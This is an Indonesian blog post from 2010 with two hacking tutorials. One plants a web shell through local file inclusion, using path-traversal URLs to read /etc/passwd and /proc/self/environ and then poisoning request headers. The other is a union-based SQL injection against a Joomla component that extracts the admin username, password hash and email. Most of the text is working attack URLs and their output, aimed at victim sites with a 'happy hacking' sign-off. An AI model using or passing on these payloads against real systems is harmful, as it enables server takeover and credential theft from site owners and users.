Monday, February 15, 2010

Tanam Shell via LFI dengan Metode Proc/Self/Environ

Dalam tutorial hacking kali ini saya akan coba mengimplementasikan bagaimana membuat shell pada target server lewat LFI dengan metode proc/self/environ, hal ini telah dibahas sebelumnya di website milw0rm pada paper ke 361.
Ok kita langsung saja…

1. Hal yang pertama dilakukan seperti teknik-teknik lainnya adalah kita terlebih dahulu coba temukan website yang vulnerable terhadap serangan LFI.
contoh : http://site.com/info.php?file=news.php

2. coba kita ganti “news.php” dengan “../../../”.
contoh : http://site.com/info.php?file=../../../
lalu kita mendapat error, seperti berikut…
Warning: include(../../../) [function.include]: failed to open stream: No such file or directory in /home/gunslinger/public_html/info.php on line 99
ok sepertinya, kita mendapat kesempatan untuk memanfaatkan include ke file lain.
selanjutanya kita coba temukan /etc/passwd.
contoh : http://site.com/info.php?file=etc/passwd

Tetapi kita masih mendapat error seperti berikut :
Warning: include(/etc/passwd) [function.include]: failed to open stream: No such file or directory in /home/gunslinger/public_html/info.php on line 99

bagaimana jika kita naikan directorynya ?
mari kita coba…
contoh : http://site.com/info.php?file=../../../../../../../../../etc/passwd
Ahoi, kita berhasil mendapatkan file /etc/passwd yang terlihat seperti berikut :
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
syslog:x:101:102::/home/syslog:/bin/false
klog:x:102:103::/home/klog:/bin/false
hplip:x:103:7:HPLIP system user,,,:/var/run/hplip:/bin/false
avahi-autoipd:x:104:110:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/bin/false
gdm:x:105:111:Gnome Display Manager:/var/lib/gdm:/bin/false
saned:x:106:113::/home/saned:/bin/false
pulse:x:107:114:PulseAudio daemon,,,:/var/run/pulse:/bin/false
messagebus:x:108:117::/var/run/dbus:/bin/false
polkituser:x:109:118:PolicyKit,,,:/var/run/PolicyKit:/bin/false
avahi:x:110:119:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/bin/false
haldaemon:x:111:120:Hardware abstraction layer,,,:/var/run/hald:/bin/false
gunslinger:x:1000:1000:gunslinger_,,,:/home/gunslinger:/bin/bash
snmp:x:112:65534::/var/lib/snmp:/bin/false
guest:x:113:124:Guest,,,:/tmp/guest-home.rRZGXM:/bin/bash
sshd:x:114:65534::/var/run/sshd:/usr/sbin/nologin

3. mari kita check apakah /proc/self/environ bisa kita akses ?
sekarang, ganti “/etc/passwd” dengan “/proc/self/environ”
contoh : http://site.com/info.php?file=../../../../../../../../../proc/self/environ
Jika anda mendapatkan yang seperti ini :
DOCUMENT_ROOT=/home/gunslinger/public_html GATEWAY_INTERFACE=CGI/1.1 HTTP_ACCEPT=text/html,
application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif,
image/x-xbitmap, */*;q=0.1 HTTP_COOKIE=PHPSESSID=3g4t67261b341231b94r1844ac2ad7ac
HTTP_HOST=www.site.com HTTP_REFERER=http://www.site.com/index.php?view=../../../../../../etc/passwd
HTTP_USER_AGENT=Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.15) Gecko/2009102815 Ubuntu/9.04 (jaunty) Firefox/3.0.15
PATH=/bin:/usr/bin QUERY_STRING=view=..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron
REDIRECT_STATUS=200 REMOTE_ADDR=6x.1xx.4x.1xx REMOTE_PORT=35665
REQUEST_METHOD= GET REQUEST_URI = /index.php?view=..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron
SCRIPT_FILENAME=/home/gunslinger/public_html/index.php SCRIPT_NAME=/index.php
SERVER_ADDR=1xx.1xx.1xx.6x SERVER_ADMIN=gunslinger@site.com SERVER_NAME=www.site.com
SERVER_PORT=80 SERVER_PROTOCOL=HTTP/1.0 SERVER_SIGNATURE=
Apache/2.2.11 (Unix) DAV/2 mod_ssl/2.2.11 OpenSSL/0.9.8k
PHP/5.2.9 mod_apreq2-20051231/2.6.0 mod_perl/2.0.4 Perl/v5.10.0 Server at www.site.com Port 80

Ternyata proc/self/environ dapat kita akses !
jika anda mendapatkan halaman yang kosong (blank) /proc/self/environ tidak dapat di akses atau mungkin juga beroperating system *BSD

4. Sekarang mari kita injeksi dengann malicious kode dengan meracuni http-headernya . bagaimana kita bisa menginjeksinya? kita bisa menggunakan tamper data pada firefox addon.
dapat anda download disini : https://addons.mozilla.org/en-US/firefox/addon/966
buka tamper data di firefox lalu masukan url /proc/self/environ yang tadi “http://site.com/info.php?file=../../../../../../../../../proc/self/environ”
lalu pada user-agent isikan dengan kode berikut :
atau
lalu submit.

5. jika kita berhasil menginjeksi malicious kode berikut, maka shell akan ada di tempat seperti ini.

http://www.site.com/shell.php

happy hacking !

Implementasi SQL Injection pada Joomla

Apa jadinya jika admin malas mengupdate webnya? Apa jadinya jika admin tidak memperhatikan security risk yang ada? Apa jadinya jika ‘the choosen one’ ternyata seorang admin yang tidak tahu sama sekali mengenai system keamanan sebuah data? Ironi memang. Bahkan terkadang ada admin yang meremehkan system keamanan. Apa jadinya jika server anda memiliki konfigurasi default? Apa jadinya, apa jadinya? Dan segudang akibat dari hasil penggabungan dua kata tersebut. Yang terjadi adalah

peluang seorang attacker untuk menyusup ke dalam website anda semakin  memungkinkan, mengobrak-abrik server anda, bahkan tidak jarang seorang attacker mengambil profit dari exploitasi system yang ada. Dalam berbagai hal, termasuk mendulang dollar dengan cara tidak halal. Seperti yang dilakukan oleh para carder. Penulis akan menjelaskan betapa mudahnya sebuah web dieksploitasi hanya dengan bermodalkan internet dan browser internet tentunya, dan sedikit pengetahuan sql query. Perlu penulis jelaskan, penulis hanyalah seorang manusia biasa yang memiliki pengetahuan minimal dari sistem keamanan data.
Ya, belum lama ini, salah satu component joomla terbukti mengidap penyakit berbahaya, tumor ganas yang akan menjalar keseluruh tubuh, dan berakibat kematian pada akhirnya. :D ~~
Telah ditemukan bug sql injection pada com_ds-syndicate, ini adalah salah satu contoh dari sekian banyak bug fatal yang terdapat dalam joomla. Waspadalah! Kesalahan terjadi karena komponen ini tidak menyediakan filtering sql yang ketat dalam variable feed_id. Penyusupan dapat dilakukan, sederhananya ini terjadi karena kesalahan dari variable feed_id. Dan saat menulis artikel ini ada beberapa site masih memiliki kecacatan seperti ini. 
Ya, Langsung aja …
php ?option=ds-syndicate&version=1&feed_id=1
Implementasi SQL Injection pada Joomla tutorial hacking
Url ini menampilkan feeds seperti biasanya, tapi beda halnya jika kita tes kelemahannya, dengan penambahan tanda kutip ( ‘ ) di belakangnya.
php ?option=ds-syndicate&version=1&feed_id=1′
Implementasi SQL Injection pada Joomla tutorial hacking
Apa yang terjadi ? … error…
Langkah selanjutnya adalah cari urutan  si table ‘dssyndicate_feeds’  dengan mendapatkan bentuk error yang sama, dan berhenti ketika mendapatkan error yang berbeda  :
index2.php?option=ds-syndicate&version=1&feed_id=1+order+by+1/*    –>    errornya sama
index2.php?option=ds-syndicate&version=1&feed_id=1+order+by+2/*    –>    errornya sama
index2.php?option=ds-syndicate&version=1&feed_id=1+order+by+3/*    –>    errornya sama
index2.php?option=ds-syndicate&version=1&feed_id=1+order+by+4/*    –>    errornya sama
index2.php?option=ds-syndicate&version=1&feed_id=1+order+by+20/*    –>    errornya sama

index2.php?option=ds-syndicate&version=1&feed_id=1+order+by+21/*    –>    errornya berbeda
perhatikan bentuk error-nya berbeda ketika feed_id yang diisi dengan 1+order+by+21/*, ini adalah patokan untuk melakukan injeksi sql yang selanjutnya.
Langkah selanjutnya adalah penggunaan union, lebih jelasnya mengenai fungsi union, silahkan baca di sini.
Selanjutnya kita test, apakah fungsi union dapat berjalan pada url korban.
index2.php?option=ds-syndicate&version=1&feed_id=1+union+all+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,
15,16,17,18,19,20+from+wc_users
lihat paling akhir dari baris tersebut,
from+wc_users
wc_users adalah nama table yang diambil dari struktur database joomla. Berisi mengenai informasi login user.
Sedangkan 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 ini  diperoleh berdasarkan yang telah penulis jelaskan sebelumnya.
Ya setelah url di atas di enter, yang perlu dilakukan adalah mendownload file tersebut,
Implementasi SQL Injection pada Joomla tutorial hacking
Setelah itu buka file yang baru didownload tersebut dengan editor seperti notepad, walaupun filenya xml, tapi penulis tetap menyarankan untuk membukanya dengan notepad, tidak dengan browser internet, karena memudahkan untuk pembacaan hasil dari sql injection yang telah dilakukan.
Implementasi SQL Injection pada Joomla tutorial hacking
Lihat angka 2 di dalam tag : </p> <p><title>2 (18)
Jangan pedulikan angka (18) di belakangnya, yang perlu diperhatikan adalah angka 2-nya. Ini berarti berdasarkan hasil query union menggunakan browser tadi, anda dapat menggunakan angka 2 tersebut untuk keperluan selanjutnya. Seperti mengganti angka 2 dengan kumpulan karakter lain untuk menggunakannya seperti melihat versi mysql yang digunakan, ya langsung saja, kita akan mencobanya untuk melihat versi mysql yang digunakan oleh si korban. Gunakan url ini …
http://korban.com/hack/joomla/index2.php?option=ds-syndicate&version=1&feed_id=1+union+all+select+1,
@@version,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20+from
+wc_users
Implementasi SQL Injection pada Joomla tutorial hacking
perhatikan angka 2 diganti dengan kalimat @@version, enter, kemudian buka kembali file telah di download dengan notepad, apa yang terjadi ? title berubah menjadi versi si mysql, yang penulis dapatkan :
5.0.33 (18)
Mysql versi 5.0.33 :D , sampai sini anda telah dapat eksplorasi database user dengan leluasa. Apa yang dilakukan seorang attacker selanjutnya ? ya, mendapatkan username dan password si admin. :D .
Pengambilan username dan password secara paksa menggunakan sql injection ini dapat dilakukan secara satu persatu, ataupun sekaligus. Query untuk menampilkan username menggunakan bug sql injection yang satu ini, anda cukup mengganti @@version yang tadi dengan field yang menyimpan informasi username tentunya, gunakan url ini :
http://korban.com/hack/joomla/index2.php?option=ds-syndicate&version=1&feed_id=1+union+all+select+1,
username,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20+from+wc_users
jalankan url, download filenya, kemudian buka kembali dengan notepad. Hasilnya adalah username dari database tersebut …
admin (18)
Atau bisa juga ditampilkan informasi username, password, email, dan user_type sekaligus, gunakan url seperti ini :
http://korban.com/hack/joomla/index2.php?option=ds-syndicate&version=1&feed_id=1+union+all+select+1,
concat(username,0×3a,password,0×3a,email,0×3a,usertype),3,
4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20+from+wc_users
perhatikan, string username, diganti dengan concat(username,0×3a,password,0×3a,email,0×3a,usertype), penggunaan concat disini adalah mengconvert suatu hexa, ataupun spesial karakter kedalam bentuk ascii, sehingga, yang terjadi nantinya adalah :
0×3a berubah menjadi titik dua ( : ), buka kembali file hasil dari url di atas. Yang penulis dapatkan adalah informasi seperti ini :
Implementasi SQL Injection pada Joomla tutorial hacking
admin:bd3ca378488e00055d5b23df1252e443:EbnV8pXgTqIgApjK:alkemail@gmail.com:Super Administrator
Jika di urutkan :
Username : admin
Password ( hash ) : bd3ca378488e00055d5b23df1252e443:EbnV8pXgTqIgApjK
Email : alkemail@gmail.com
User type : Super Administrator
Yang di lakukan selanjutnya adalah mencoba crack password, karena itu masih dalam bentuk hash, dengan kata lain password yang masih terenkripsi.  :D . Yups, pengambilan username dan password secara paksa telah terjadi, si attacker kembali mencari cara bagaimana mendapatkan password yang asli, dengan cara mengcrack password hash tersebut.
Inilah bukti begitu mudahnya suatu web diambil alih oleh attacker, akibat dari seorang admin yang malas melakukan patch pada systemnya.
Di artikel selanjutnya penulis akan menjalankan konsep sederhana password crack untuk joomla menggunakan php. Tunggu kelanjutannya … :D .
Untuk keperluan eksperimen, silahkan download filenya di sini.
http://joomlacode.org/gf/download/frsrelease/6828/22538/Joomla_1.0.15-Stable-Full_Package.zip
http://www.unair.info/ilmuwebsite/hack/joomla/com_ds-syndicate.tar.gz